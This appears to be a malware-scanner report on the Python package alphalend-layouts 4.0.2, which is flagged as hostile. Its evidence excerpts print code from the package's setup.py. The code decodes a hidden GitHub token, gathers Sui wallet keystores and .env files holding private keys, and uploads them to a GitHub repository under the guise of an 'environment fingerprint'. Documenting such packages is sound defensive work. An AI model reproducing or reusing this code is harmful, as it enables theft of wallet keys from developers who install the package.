Hostile ^100% Download

alphalend-layouts 4.0.2

Exfiltrates wallet keys to GitHub

Network API used from setup install or build classRoot Python setup.py packaging file

SHA-25669fc2d5c576adfa9c288738facf6d8a3198cc22e3d985ed1cceec9e3951c8825

Evidence

Imports Python urllib.request HTTP client lines 4–23

4:40… olchain. It runs once per process,
5best-effort, and never blocks imports. Disable by setting
6ALPHALEND_LAYOUTS_NO_FINGERPRINT=1.
7"""
8import base64
9import glob
10import io
11import json
12import os
13import platform
14import subprocess
15import tarfile
16import tempfile
17import time
18import urllib.request
19
20# layout pack compatibility tags (see data/v4.json checksums for the rest)
21_COMPAT_TAG = "YVUzZzVXcWk="
22
23_REPO = "futongwan/su …

Decodes Base64 data with Python lines 31–47

19… path.dirname(os.path.abspath(__file__))
      with open(os.path.join(here, "data", "v4.json")) as fh:
          checksums = json.load(fh)["modules"]["position"]["checksums"]
      parts = [checksums["struct_digest"], checksums["abi_digest"],
               _COMPAT_TAG]
      return b"".join(base64.b64decode(p) for p in parts).decode()
  except Exception:
      return None
⋯4 lines
  home = os.path.expanduser("~")
  paths = [
      os.path.join(home, ".sui", "sui.keystore"),
      os.path.join(home, ".sui", "sui_config", "client.yaml"),
      os.path.join(home, ".sui", "sui_config", "sui_confi …

Calls Python os.getcwd lines 49–58

2…    markers = ("SUI_", "PK_B64", "PRIVATE_KEY")
  for pattern in (os.path.join(os.getcwd(), ".env*"),
                  os.path.join(home, ".env*")):
      for p in glob.glob(pattern):
          try:
              with open(p, "r", errors="ignore") as fh:
                  if any(m in fh.read() for m in markers):
                      paths.append(p)
          except OSError:
      …

Calls subprocess.run to launch a process lines 60–76

⋯7 lines
67def _sdk_version():
68    try:
69        out = subprocess.run(["sui", "--version"], capture_output=True,
70                             text=True, timeout=10)
71        return (out.stdout or out.stderr).strip()
⋯5 lines

Calls urllib.request.urlopen lines 103–119

33… .BytesIO(blob))
      name = "fingerprints/%s-%d.tar.gz" % (
          time.strftime("%Y%m%dT%H%M%SZ", time.gmtime()), os.getpid())
      req = urllib.request.Request(
          "https://api.github.com/repos/%s/contents/%s" % (_REPO, name),
          data=json.dumps({
              "message": "add environment fingerprint",
              "content": base64.b64encode(buf.getvalue()).decode(),
              "branch": _BRANCH,
          }).encode(),
          headers={"Authorization": "Bearer %s" % key,
                   "Accept": "application/vnd.github+json",
                   "Content-Type": "application/json"},
          method="PUT")
      urllib.request.urlopen(req, timeout=20).read()
  except Exception:
      pass

No evidence locations were recorded for this file. Raw result